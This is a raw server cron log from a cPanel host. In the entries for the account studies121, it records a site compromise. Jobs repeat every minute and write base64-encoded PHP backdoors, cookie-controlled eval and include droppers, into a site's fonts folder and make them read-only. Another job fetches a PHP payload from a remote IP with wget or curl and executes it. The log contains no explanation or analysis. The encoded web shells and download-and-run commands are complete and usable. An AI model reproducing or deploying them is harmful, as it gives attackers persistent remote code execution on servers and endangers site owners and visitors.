Sep  8 06:12:01 ip-184-168-122-23 CROND[25678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:13:01 ip-184-168-122-23 CROND[25788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:13:01 ip-184-168-122-23 CROND[25789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:13:01 ip-184-168-122-23 CROND[25791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:13:01 ip-184-168-122-23 CROND[25790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:14:01 ip-184-168-122-23 CROND[25913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:14:01 ip-184-168-122-23 CROND[25914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:14:01 ip-184-168-122-23 CROND[25917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:14:01 ip-184-168-122-23 CROND[25918]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:14:01 ip-184-168-122-23 CROND[25916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:15:01 ip-184-168-122-23 CROND[26126]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  8 06:15:01 ip-184-168-122-23 CROND[26128]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:15:01 ip-184-168-122-23 CROND[26129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:15:01 ip-184-168-122-23 CROND[26130]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:15:01 ip-184-168-122-23 CROND[26134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:15:01 ip-184-168-122-23 CROND[26133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:15:01 ip-184-168-122-23 CROND[26131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:15:01 ip-184-168-122-23 CROND[26132]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  8 06:16:01 ip-184-168-122-23 CROND[26278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:16:01 ip-184-168-122-23 CROND[26280]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:16:01 ip-184-168-122-23 CROND[26281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:16:01 ip-184-168-122-23 CROND[26283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:16:01 ip-184-168-122-23 CROND[26284]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 06:16:01 ip-184-168-122-23 CROND[26286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:17:01 ip-184-168-122-23 CROND[26416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:17:01 ip-184-168-122-23 CROND[26417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:17:01 ip-184-168-122-23 CROND[26419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:17:01 ip-184-168-122-23 CROND[26420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:18:01 ip-184-168-122-23 CROND[26523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:18:01 ip-184-168-122-23 CROND[26522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:18:01 ip-184-168-122-23 CROND[26521]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:18:01 ip-184-168-122-23 CROND[26526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:18:01 ip-184-168-122-23 CROND[26524]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:19:01 ip-184-168-122-23 CROND[26638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:19:01 ip-184-168-122-23 CROND[26640]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:19:01 ip-184-168-122-23 CROND[26641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:19:01 ip-184-168-122-23 CROND[26639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:20:02 ip-184-168-122-23 CROND[26754]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:20:02 ip-184-168-122-23 CROND[26757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:20:02 ip-184-168-122-23 CROND[26759]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 06:20:02 ip-184-168-122-23 CROND[26756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:20:02 ip-184-168-122-23 CROND[26762]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 06:20:02 ip-184-168-122-23 CROND[26760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:20:02 ip-184-168-122-23 CROND[26761]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:20:02 ip-184-168-122-23 CROND[26758]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:20:02 ip-184-168-122-23 CROND[26763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:21:01 ip-184-168-122-23 CROND[26904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:21:01 ip-184-168-122-23 CROND[26906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:21:01 ip-184-168-122-23 CROND[26907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:21:01 ip-184-168-122-23 CROND[26905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:22:01 ip-184-168-122-23 CROND[27123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:22:01 ip-184-168-122-23 CROND[27124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:22:01 ip-184-168-122-23 CROND[27126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:22:01 ip-184-168-122-23 CROND[27127]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:22:01 ip-184-168-122-23 CROND[27130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:23:01 ip-184-168-122-23 CROND[27272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:23:01 ip-184-168-122-23 CROND[27274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:23:01 ip-184-168-122-23 CROND[27273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:23:01 ip-184-168-122-23 CROND[27275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:24:01 ip-184-168-122-23 CROND[27378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:24:01 ip-184-168-122-23 CROND[27380]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:24:01 ip-184-168-122-23 CROND[27381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:24:01 ip-184-168-122-23 CROND[27384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
